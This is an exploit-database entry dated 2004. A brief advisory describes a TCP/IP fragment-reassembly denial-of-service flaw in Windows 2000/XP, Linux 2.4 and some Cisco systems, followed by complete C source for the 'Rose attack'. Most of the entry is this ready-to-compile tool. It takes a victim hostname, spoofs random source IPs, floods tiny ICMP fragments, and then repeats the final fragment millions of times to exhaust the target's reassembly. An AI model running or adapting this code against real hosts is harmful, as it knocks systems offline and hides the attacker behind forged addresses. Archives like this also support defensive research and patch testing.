Microsoft Windows XP - TCP Packet Fragmentation Handling Denial of Service (1)

2004-09-27T00:00:00
ID EXPLOITPACK:73B2A820CB85C8C6AFF178C4045A6BDE
Type exploitpack
Reporter Coolio
Modified 2004-09-27T00:00:00

Description

Microsoft Windows XP - TCP Packet Fragmentation Handling Denial of Service (1)

                                        
                                            // source: https://www.securityfocus.com/bid/11258/info

Multiple vendor implementations of the TCP stack are reported prone to a remote denial-of-service vulnerability. 

The issue is reported to present itself due to inefficiencies present when handling fragmented TCP packets. 

The discoverer of this issue has dubbed the attack style the "New Dawn attack"; it is a variation of a previously reported attack that was named the "Rose Attack". 

A remote attacker may exploit this vulnerability to deny service to an affected computer. 

Microsoft Windows 2000/XP, Linux kernel 2.4 tree, and undisclosed Cisco systems are reported prone to this vulnerability; other products may also be affected.


/***
    ROSE attack (variation 2) (chuck (at) lemure.net)
    
    Discovered by:
    gandalf (at) digital.net
    
    code modified from large IGMP attack by:
        Kox by Coolio (coolio (at) k-r4d.com)

    Sends out small IP fragments totalling up to a large
    ICMP packet.  Then repeatedly sends last IP Fragment forcing
    reassembly code to traverse to last IP fragment in order to
    do a free() followed by a malloc().  Or so it seems.

    Reportedly works for TCP / UDP as well, since this is
    a IP layer attack.


***/

/* just a thousand kills win XP */

#define NUM_PACKETS 100


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <pwd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#include <netinet/ip_icmp.h>

void usage(char *arg)
{
        printf("Rose attack\n");
        printf("Usage: %s <victim> [source]\n", arg);
	printf("If source not specified, will send out from random ip's\n");
        exit(1);
}


unsigned int randip()
{
        struct hostent *he;
        struct sockaddr_in sin;
        char *buf = (char *)calloc(1, sizeof(char) * 16);
	
        sprintf(buf, "%d.%d.%d.%d",
                (random()%191)+23,
                (random()%253)+1,
                (random()%253)+1,
                (random()%253)+1); 
	
        return inet_addr(buf);
        
}

unsigned short in_cksum(unsigned short *buh, int len)
{
        register long sum = 0;
        unsigned short oddbyte;
        register unsigned short answer;

        while(len > 1) {
                sum += *buh++;
                len -= 2;
        }

        if(len == 1) {
                oddbyte = 0;
                *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
                sum += oddbyte;
        }

        sum = (sum >> 16) + (sum & 0xFFFF);
        sum += (sum >> 16);
        answer = ~sum;
        return answer;
}

int fire_away(struct sockaddr_in *victim, unsigned long src)
{
        int SMALLICMP = 1;
        unsigned char *pkt;
        struct iphdr *ip;
        struct igmphdr *igmp;
	struct icmphdr *icmp_pkt;
        struct utsname *un;
        struct passwd *p;
	int idList[NUM_PACKETS];
	unsigned long j;
        int i, s;
	int id = (random() % 40000) + 500;
	for (i=0;i<NUM_PACKETS;i++)
	  idList[i]=(random() % 40000) + 500;

        

        pkt = (unsigned char *)calloc(1, SMALLICMP 
				      + sizeof(struct iphdr) +
				      sizeof(struct icmphdr));
        ip = (struct iphdr *)pkt;
 	icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));
        ip->version = 4;
        ip->ihl = (sizeof *ip) / 4;
        ip->ttl = 255;
        ip->tot_len = htons(SMALLICMP);
        ip->protocol = 1;
        ip->id = htons(id);
        ip->frag_off = htons(IP_MF);
        ip->saddr = src;
        ip->daddr = victim->sin_addr.s_addr;
        ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

	
	icmp_pkt->type = ICMP_ECHO;
	icmp_pkt->code = 0;
	icmp_pkt->checksum = 1000;
	icmp_pkt->un.echo.id = random() % 255;
	icmp_pkt->un.echo.sequence = random() % 255;
	
        for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;
            i < SMALLICMP; i++){
	  pkt[i] = random() % 255;
	  
	}
	
        if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                perror("error: socket()");
                return 1;
        }
	
	printf(" Sending out series of small fragments\r\n");
	
	for(i=0;i<NUM_PACKETS;i++){
	  ip->id = htons(idList[i]);
	  for (j=0; j<8170; j += SMALLICMP + 1){	    
	    ip->frag_off = htons(j | IP_MF);
	    if(sendto(s, pkt,
		      SMALLICMP + sizeof(struct iphdr), 
		      0, (struct sockaddr *)victim,
		      sizeof(struct sockaddr_in)) == -1) { 
	      perror("error: sendto()");
	      return 1;
	    }
	  }
	}

	printf(" Sending out tailing fragments\r\n");
	/* big frag at end... */
	/* sending a large amount of the end fragments over and
	   over.  This is definitely overkill, but seems to work */
	for (j=0;j<9999*NUM_PACKETS;j++){
	  for(i=0;i<NUM_PACKETS;i++){
	    ip->id=htons(idList[i]);
	    ip->frag_off = htons(8190|IP_MF);
	    //ip->frag_off = htons(8100 | IP_MF);
	    sendto(s, pkt, sizeof(struct iphdr) + SMALLICMP, 
		   0, (struct sockaddr *)victim, 
		   sizeof(struct sockaddr_in));
	    /* if you do sleep, CPU usage goes way down.  But memory usage
	       still creeps upward */
	    //usleep(100); //sleep after every trailing packet
	  }
	  usleep(100); //sleep after every series of NUM_PACKETS
	}
        free(pkt);
        close(s);
        return 0;
}

int main(int argc, char *argv[])
{
        struct sockaddr_in victim;
        struct hostent *he;
	unsigned long source;
        int i;

        srandom(time(NULL));

        if(argc < 2)
                usage(argv[0]);

        if((he = gethostbyname(argv[1])) == NULL) {
                herror(argv[1]);
                exit(1);
        }
	
	if (argc > 2){
	  source = inet_addr(argv[2]);
	}
	else {
	  source = randip();
	}
	
        memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
        victim.sin_port = htons(0);
        victim.sin_family = PF_INET;

        printf("Sending ICMP fragments:  \r\n");
        fflush(stdout);
	fire_away(&victim, source);
	if (argc < 3){
	  source = randip();
	}
	
	fflush(stdout);
	printf("\nDONE\n");
        fflush(stdout);
}